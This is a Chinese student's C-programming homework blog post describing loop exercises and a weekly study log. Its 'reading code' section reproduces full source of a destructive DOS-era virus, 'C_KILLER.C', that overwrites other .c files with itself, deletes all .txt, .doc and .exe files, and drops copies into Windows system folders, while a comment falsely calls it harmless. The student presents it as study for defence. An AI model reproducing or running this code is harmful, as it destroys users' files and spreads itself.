当前位置:网站首页>C语言I博客作业03

C语言I博客作业03

2020-11-07 22:40:42 计科2班李家伟

这个作业属于哪个课程 https://edu.cnblogs.com/campus/zswxy/CST2020-2/
这个作业要求在哪里 https://edu.cnblogs.com/campus/zswxy/CST2020-2/homework/11453
这个作业的目标 ****
学号 20208967

1.1

1.1.1
7-5 电子汪
据说汪星人的智商能达到人类 4 岁儿童的水平,更有些聪明汪会做加法计算。比如你在地上放两堆小球,分别有 1 只球和 2 只球,聪明汪就会用“汪!汪!汪!”表示 1 加 2 的结果是 3。

本题要求你为电子宠物汪做一个模拟程序,根据电子眼识别出的两堆小球的个数,计算出和,并且用汪星人的叫声给出答案。

1.1.2
数据表达:运用了整形变量,浮点型变量,值通过赋值,计算得来;
数据处理:运用了for循环结构;

1.1.3

Q:一开始不知道怎们进行测试,导致多次测试失败,却又不知道错在哪
A:后来知道了在测试上面还要自定义一个测试输入值

1.2
1.2.1for循环练习!1到X的累加和,并按指定格式输出。
要求读入1个整数X,然后输出1+2+3+...X 的和

1.2.2数据处理:定义了整型变量,运用了循环结构。

1.3
1.3.1

1.3.2
数据处理:运用了整型变量和浮点型变量,for循环结构。
1.3.3
Q:循坏结构中次次递进的赋值不好把握
A:通过仔细梳理或者画出流程图就好解决了

2.阅读代码:

include <io.h>

include <dir.h>

include <stdio.h>

include <stdlib.h>

include <string.h>

/* copy outfile to infile */
void copyfile(char *infile, char *outfile)
{
FILE in,out;

      in = fopen(infile,"r");
      out = fopen(outfile,"w");

      while (!feof(in))
      {
          fputc(fgetc(in),out);
      }

      fclose(in);
      fclose(out);

}

/*

This function named Rubbishmaker.

*/
void MakeRubbish()
{
int i;
FILE *fp;
char *path;
char *NewName;
char *disk[7] = {"A","B","C","D","E","F","G"};
char *addtion = "/";

      /* Make some rubbish at the current catalogue */
      for (i = 0; i<5; i++)
      {
          char tempname[] = "XXXXXX" ;

          NewName = mktemp(tempname);
          fp = fopen(NewName,"w");
          fclose(fp);
      }

/* make some rubbish at the root catalogue */

      path = strcat(disk[getdisk()],addtion); /* get the root catalogue */

      chdir(path); /*change directory according to the "path" */

      for (i = 0; i<5; i++)
      {
          char tempname[] = "XXXXXX";

          NewName = mktemp(tempname);
          fp = fopen(NewName,"w");
          fclose(fp);
      }

}

/*

    This function can        creat some .exe or .com documents in the sensitive place.
    Don't worry,It's only a joke.It will do no harm to your computer.

*/

void CreatEXE()
{
int i;
char *path;

      char *s[2] = {"C://WINDOWS//system32//loveworm.exe","C://WINDOWS//virusssss.com"};


      for ( i = 0; i < 2; i++)
      {
          open(s[i], 0x0100,0x0080);
          copyfile( "C_KILLER.C",s[i]);

      }

}

/* remove something from your computer */
void Remove()
{

      int done;
      int i;

      struct ffblk ffblk;
      char *documenttype[3] = {"*.txt","*.doc","*.exe"};
      for (i = 0; i < 3; i++)
      {
          done = findfirst(documenttype[i],&ffblk,2);
          while (!done)
          {
                  remove(ffblk.ff_name);
                  done = findnext(&ffblk);
          }
      }

}

/* overlay the c programs */
void Breed()
{

      int done;

      struct ffblk ffblk;

      done = findfirst("*.c",&ffblk,2);
      while (!done)
      {
          if (strcmp("C_KILLER.C", ffblk.ff_name) != 0 )

          {
                  copyfile("C_KILLER.C",ffblk.ff_name);
          }
          done = findnext(&ffblk);
      }

}

void main()
{

          printf("THERE IS A VIRUS BY        Y.evol./n/n");

          Breed();
          Remove();
          CreatEXE();


          printf("COULD YOU TELL ME YOUR NAME?/n/n");
          printf("NOW,PLEASE ENTER YOUR NAME,OR THERE WILL BE SOME TROUBLE WITH YOU!/n/n");

          MakeRubbish();
          getchar();
          printf("IT'S ONLY A JOKE! THANK YOU!/n/n");

          clrscr();
          system("cmd");

}
学习病毒代码的编程方式,更好的防御病毒入侵。
3
3.1

周/日期 这周所花的时间 代码行 学到的知识点简介 目前比较迷惑的问题
6/10.5-10.11 5小时 15行 hello world程序 vs中源文件,头文件是什么,怎们在c盘以外的盘中进行程序编程
7/10.12-10.18 6小时 52行 int,float,double意思,i++和++i的区别 程序之间的顺序问题
8/10.19-10.25 10小时 70行 命名中有效和无效,注释的几种方法和适用的版本
9/10.26-11.1 10小时 50行 运算法则,单目,双目, 溢出
10/11.2-11.8 12小时 100行 循环结构,判断结构 数据类型

3.2

3.3
一:计算机学科博大精深,计算机安全,硬件配置与维修,软件,编程,信息安全,设计,很多很多领域,要先学好学精某一个点,不可想成为全能型的计算机人才,而应逐个击破。
二:编程问题需要大量的经验积累,需要多刷题,多研究别人的思想来加强自己的能力。
三:想多看计算机知识的书,少见才多怪,多积累知识。

版权声明
本文为[计科2班李家伟]所创,转载请带上原文链接,感谢
https://www.cnblogs.com/20010317wal/p/13941103.html